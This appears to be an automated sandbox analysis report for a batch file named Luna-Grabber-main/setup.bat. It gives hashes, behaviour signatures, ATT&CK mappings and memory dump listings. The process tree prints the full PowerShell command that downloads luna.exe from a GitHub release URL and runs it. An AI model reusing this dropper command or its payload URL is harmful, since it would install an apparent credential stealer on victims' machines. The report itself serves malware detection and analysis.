db4c0444b68e434caa5965b702d5b6347904d32674339f399506aad531080ee6

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
04-08-2024 22:47

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General

Target

Luna-Grabber-main/setup.bat
Size

649B
MD5

1bacf83af4b221ba871854d8e5ead34d
SHA1

0a80a3c2eaba4e0c3c15b2c236af32a29729ac6e
SHA256

561e4ab95fb2ffbe3c80133f9a624ff95ab5fc9a9b0fd6f7d87bf5c6d3d4ac05
SHA512

c2066a01722c2f563b1a03a12477034696f4a3bc280e403156c2e1178eccda209a6daac9433d8a5164c07f506db15e0e46b510e59b18ca18794db9323d23c099

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/luna-stealer/luna-stealer/releases/download/vypix/luna.exe

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	3052	powershell.exe
6	3052	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3052	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3052	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3052	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2540 wrote to memory of 3052	2540	cmd.exe	32
PID 2540 wrote to memory of 3052	2540	cmd.exe	32
PID 2540 wrote to memory of 3052	2540	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Luna-Grabber-main\setup.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2540
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell $down=New-Object System.Net.WebClient;$url='https://github.com/luna-stealer/luna-stealer/releases/download/vypix/luna.exe';$file='luna.exe'; $down.DownloadFile($url,$file);$exec=New-Object -com shell.application;$exec.shellexecute($file);exit
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3052

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3052-4-0x000007FEF5B0E000-0x000007FEF5B0F000-memory.dmp

Filesize
4KB

Download
memory/3052-5-0x000000001B890000-0x000000001BB72000-memory.dmp

Filesize
2.9MB

Download
memory/3052-6-0x0000000001FF0000-0x0000000001FF8000-memory.dmp

Filesize
32KB

Download
memory/3052-7-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

Filesize
9.6MB

Download
memory/3052-8-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

Filesize
9.6MB

Download
memory/3052-9-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

Filesize
9.6MB

Download
memory/3052-10-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

Filesize
9.6MB

Download
memory/3052-11-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

Filesize
9.6MB

Download
memory/3052-12-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

Filesize
9.6MB

Download
memory/3052-13-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

Filesize
9.6MB

Download